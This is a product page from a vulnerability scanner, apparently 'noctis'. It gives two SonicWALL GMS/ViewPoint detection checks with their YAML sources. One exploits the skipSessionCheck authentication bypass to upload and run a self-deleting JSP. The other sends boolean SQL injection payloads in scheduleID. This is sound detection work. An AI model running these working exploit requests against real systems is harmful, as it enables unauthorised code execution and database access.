SonicWALL GMS — 2 vulnerability checks

noctis ships 2 vulnerability checks for SonicWALL GMS, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass and JSP Upload

CVECVE-2013-1359, CVE-2013-1360
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sonicwall-gms/gms-appliance-auth-bypass-upload.yaml

Detects Dell SonicWALL Global Management System (GMS), ViewPoint, Universal Management Appliance (UMA) and Analyzer installations whose /appliance/ interface skips the session check when a request carries skipSessionCheck=1. The test first sends an unauthenticated show_diagnostics request to /appliance/applianceMainPage?skipSessionCheck=1 and reads the installation directory from the returned application log list. It then uploads a JSP with a random name into the appliance web application through the same bypass (file_system / uploadFile action) and requests it: the JSP prints the sum of two random numbers and deletes itself. A finding with the highest confidence is reported when that computed sum comes back, which proves the file was written and executed. When the upload cannot be confirmed but the log list was returned without a session, the authentication bypass is reported with a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /appliance/applianceMainPage?skipSessionCheck=1 with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /appliance/applianceMainPage?skipSessionCheck=1 with a crafted body
  5. HTTP(S) request GET /appliance/{{g.name}}.jsp
  6. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (file_system/uploadFile, searchFolder=…) wrote ….jsp; GET /appliance/……
  7. Checks p.base for ^.+$ → finding QoD 75: SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass (CVE-2013-1359)

References:

Feed source — tests/vulnerabilities/sonicwall-gms/gms-appliance-auth-bypass-upload.yaml
# Dell SonicWALL GMS / ViewPoint / UMA / Analyzer — authentication bypass in
# the UMA appliance interface (/appliance/) via the skipSessionCheck parameter
# (CVE-2013-1359), leading to unauthenticated JSP upload and code execution.
# CVE-2013-1360 (crafted request to the SGMS interface) is published with it
# and kept for tracking; findings only name CVE-2013-1359, the bug proven here.
#
# Ported from OpenVAS/Greenbone NVT
#   2013/gb_sonicwall_rce_01_13.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.103642, GPL-2.0-only)
# Exploit shape cross-checked with the Metasploit module
#   exploits/multi/http/sonicwall_gms_upload (EDB-24204, tested on GMS 6.0
#   Windows and Linux virtual appliance): upload field name "uploadFilename".
#
# Any request to /appliance/applianceMainPage carrying ?skipSessionCheck=1 is
# served without a session. The show_diagnostics action lists the Tomcat log
# files, which discloses the install directory; the file_system/uploadFile
# action then writes a file to any folder (searchFolder), here the appliance
# web application, where Tomcat compiles and runs a .jsp.
#
# Detection:
#   1. QoD 75 — unauthenticated POST show_diagnostics returns the application
#      log file list (<OPTION VALUE="<install>logs...">): admin-only content
#      reached without a session.
#   2. QoD 97 — upload a per-run JSP into <install>webapps/appliance/ and GET
#      /appliance/<name>.jsp. The JSP prints NOCTIS<a+b>END (sum of two per-run
#      random numbers, never present in the uploaded source) and deletes its
#      own file, so only a server that wrote AND executed it returns the sum.
#   The QoD 75 finding is reported only when the upload proof did not succeed.
#
# Better than the NASL: the NASL first requires "<title>sonicwall" on "/", which
# misses installs whose root redirects or is branded differently (Dell/ViewPoint
# /Analyzer); this feed keys on the bypass response itself. It also reports the
# bypass (QoD 75) when the upload step fails (read-only web root, AV, WAF on
# multipart), where the NASL reports nothing, and the uploaded JSP removes
# itself instead of staying in the web root.
uid: 70a3263a-df24-4926-97d3-2869a67eaa98
name: "SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass and JSP Upload (CVE-2013-1359)"
description: |
  Detects Dell SonicWALL Global Management System (GMS), ViewPoint, Universal
  Management Appliance (UMA) and Analyzer installations whose /appliance/
  interface skips the session check when a request carries skipSessionCheck=1.
  The test first sends an unauthenticated show_diagnostics request to
  /appliance/applianceMainPage?skipSessionCheck=1 and reads the installation
  directory from the returned application log list. It then uploads a JSP with
  a random name into the appliance web application through the same bypass
  (file_system / uploadFile action) and requests it: the JSP prints the sum of
  two random numbers and deletes itself. A finding with the highest confidence
  is reported when that computed sum comes back, which proves the file was
  written and executed. When the upload cannot be confirmed but the log list
  was returned without a session, the authentication bypass is reported with
  a lower confidence.
cves: [CVE-2013-1359, CVE-2013-1360]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [sonicwall, dell, gms, viewpoint, uma, analyzer, auth-bypass, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1359"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1360"
  - "https://www.exploit-db.com/exploits/24204"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/sonicwall_gms_upload.rb"
  - "http://www.securityfocus.com/bid/57445"

steps:
  - id: init-diag
    action: set_var
    var_name: diag
    var_value: ""

  # Per-run file name and two random operands; the marker is their sum, which
  # is never present in the uploaded source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # ── 1. Unauthenticated diagnostics: log file list → install directory ─────
  - id: diag
    action: http_request
    method: POST
    path: "/appliance/applianceMainPage?skipSessionCheck=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      TE: "deflate,gzip;q=0.3"
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
    body: "num=123456&action=show_diagnostics&task=search&item=application_log&criteria=*.*&width=500"
    store_as: diag

  # First <OPTION VALUE="...logs..."> → the Tomcat directory before "logs".
  # Linux appliance: /opt/GMSVP/Tomcat/ ; Windows: C:\GMSVP\Tomcat\ .
  - id: path
    action: script
    code: |
      let base = "";
      if type_of(diag) == "map" && diag.status == 200 {
        let m = eregmatch("<OPTION VALUE=\"([^\"]*?)logs", diag.body, true);
        if m.len() > 1 { base = m[1]; }
      }
      let folder = "";
      if base != "" {
        if base.starts_with("/") { folder = base + "webapps/appliance/"; }
        else { folder = base + "webapps\\appliance\\"; }
      }
      #{ base: base, folder: folder, ok: base != "" }
    store_as: p

  # ── 2. Upload a self-deleting JSP into the appliance web application ──────
  - id: upload
    action: http_request
    method: POST
    path: "/appliance/applianceMainPage?skipSessionCheck=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "p.ok"
    headers:
      TE: "deflate,gzip;q=0.3"
      Content-Type: "multipart/form-data; boundary=noctisxYzZY{{g.a}}"
    body: "--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfile_system\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\nuploadFile\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"searchFolder\"\r\n\r\n{{p.folder}}\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"uploadFilename\"; filename=\"{{g.name}}.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisxYzZY{{g.a}}--\r\n"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/appliance/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "p.ok"
    store_as: jsp

  # Only a server that executed the uploaded JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "p.ok && type_of(jsp) == \"map\" && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        cves: [CVE-2013-1359]
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (file_system/uploadFile, searchFolder={{p.folder}}) wrote {{g.name}}.jsp; GET /appliance/{{g.name}}.jsp executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

  # ── 3. Fallback: the bypass alone (admin diagnostics without a session) ───
  - id: bypass
    action: match
    source: p.base
    pattern: "^.+$"
    condition: "p.ok"
    on_match:
      finding:
        cves: [CVE-2013-1359]
        title: "SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass (CVE-2013-1359)"
        confidence_delta: 0.50
        qod: 75
        evidence: "Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (action=show_diagnostics) returned the application log file list without a session, disclosing the install directory {{p.base}}; the JSP upload could not be confirmed"

SonicWALL ViewPoint scheduleProps.jsp scheduleID SQL Injection

CVECVE-2011-5169
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sonicwall-gms/CVE-2011-5169.yaml

SonicWALL ViewPoint 6.0 SP2 and earlier puts the scheduleID parameter of /sgms/reports/scheduledreports/configure/scheduleProps.jsp unquoted into an SQL query, so an unauthenticated attacker can run arbitrary SQL on the reporting database.

This check sends the page two requests that differ only in an injected conditional expression built on a random number: one whose condition is true and one whose condition is false and makes the database run a failing multi-row subquery. The vulnerability is confirmed when the page renders ("List of Reports") for the true condition and does not for the false one. No data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%…
  3. HTTP(S) request GET /sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%…
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict for ^differential$ → finding QoD 97: SonicWALL ViewPoint scheduleProps.jsp scheduleID SQL Injection (CVE-2011-5169)

References:

Feed source — tests/vulnerabilities/sonicwall-gms/CVE-2011-5169.yaml
# SonicWALL ViewPoint <= 6.0 SP2 — scheduleProps.jsp scheduleID SQL injection — CVE-2011-5169
#
# /sgms/reports/scheduledreports/configure/scheduleProps.jsp concatenates the scheduleID
# parameter into its SQL query unquoted. A scheduleID of
#     3 order by 1, (select case when (A=B) then 1 else 1*(select table_name
#                    from information_schema.tables) end)=1
# makes the database evaluate the condition: when it holds, the page renders normally
# ("Schedule Properties", "List of Reports"); when it does not, the else branch runs a
# subquery returning many rows and the request ends in an SQL error page.
#
# Detection (read-only, no data extracted):
#   1. true probe  — condition N=N      : page must show "List of Reports" + "Schedule Properties"
#   2. false probe — condition N=N+1     : same request, page must NOT show them (SQL error)
#   N is a per-run random number. A fixed page (parameter ignored or sanitised) renders the
#   same in both cases and gives no finding; only a database that evaluates the injected
#   condition produces the true/false difference. Reported at QoD 97.
#
# Better than the source NASL: the NASL reports any server whose response to the true
# request shows "List of Reports" — no false control, so any page containing that text
# matches; here the differential proves the condition is evaluated. It also needs the
# /sgms/login page to name ViewPoint, which this feed does not require.
#
# CVSS: NVD publishes only a v2 score (7.5, AV:N/AC:L/Au:N); kept as the issue's value.
#
# Source: OpenVAS/Greenbone NVT 2012/gb_sonicwall_viewpoint_scheduleid_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803033, GPL-2.0-only).
uid: 7cfa52ae-2c78-4e81-a4ea-64d50cf09487
name: "SonicWALL ViewPoint scheduleProps.jsp scheduleID SQL Injection (CVE-2011-5169)"
description: |
  SonicWALL ViewPoint 6.0 SP2 and earlier puts the scheduleID parameter of
  /sgms/reports/scheduledreports/configure/scheduleProps.jsp unquoted into an SQL query,
  so an unauthenticated attacker can run arbitrary SQL on the reporting database.

  This check sends the page two requests that differ only in an injected conditional
  expression built on a random number: one whose condition is true and one whose condition is
  false and makes the database run a failing multi-row subquery. The vulnerability is
  confirmed when the page renders ("List of Reports") for the true condition and does not
  for the false one. No data is read and nothing is written.
cves: [CVE-2011-5169]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [sonicwall, viewpoint, gms, sqli, boolean-based, jsp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-5169"
  # OpenVAS/Greenbone NASL 2012/gb_sonicwall_viewpoint_scheduleid_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 99999);
      #{ n: n, m: n + 1 }
    store_as: sc

  - id: init-t
    action: set_var
    var_name: tr
    var_value: {status: 0, body: ""}

  - id: init-f
    action: set_var
    var_name: fa
    var_value: {status: 0, body: ""}

  - id: probe-true
    action: http_request
    method: GET
    path: "/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20(%20select%20case%20when%20({{sc.n}}={{sc.n}})%20%20then%201%20else%201*(select%20table_name%20from%20information_schema.tables)end)=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: tr

  - id: probe-false
    action: http_request
    method: GET
    path: "/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20(%20select%20case%20when%20({{sc.n}}={{sc.m}})%20%20then%201%20else%201*(select%20table_name%20from%20information_schema.tables)end)=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'tr.status == 200 && stridx(tr.body, "List of Reports") >= 0'
    store_as: fa

  - id: report
    action: script
    condition: 'tr.status == 200 && fa.status != 0 && fa.status != 400 && fa.status != 403 && fa.status != 406 && stridx(tr.body, "List of Reports") >= 0 && stridx(tr.body, "Schedule Properties") >= 0 && stridx(fa.body, "List of Reports") < 0'
    code: |
      "differential"
    store_as: verdict

  - id: finding
    action: match
    source: verdict
    pattern: "^differential$"
    condition: 'tr.status == 200 && fa.status != 0 && fa.status != 400 && fa.status != 403 && fa.status != 406 && stridx(tr.body, "List of Reports") >= 0 && stridx(tr.body, "Schedule Properties") >= 0 && stridx(fa.body, "List of Reports") < 0'
    on_match:
      finding:
        title: "SonicWALL ViewPoint scheduleProps.jsp scheduleID SQL Injection (CVE-2011-5169)"
        description: "The scheduleID parameter of scheduleProps.jsp reaches an SQL query unquoted: an injected conditional expression on a random number rendered the page when true and produced an SQL error when false, so the database evaluates attacker-supplied SQL."
        remediation: "Upgrade SonicWALL ViewPoint to a release later than 6.0 SP2 and restrict access to the management interface."
        confidence_delta: 0.67
        qod: 97
        evidence: "scheduleID condition ({{sc.n}}={{sc.n}}) rendered the page (HTTP {{tr.status}}), ({{sc.n}}={{sc.m}}) did not (HTTP {{fa.status}})"
      stop: true

View these feeds on GitHub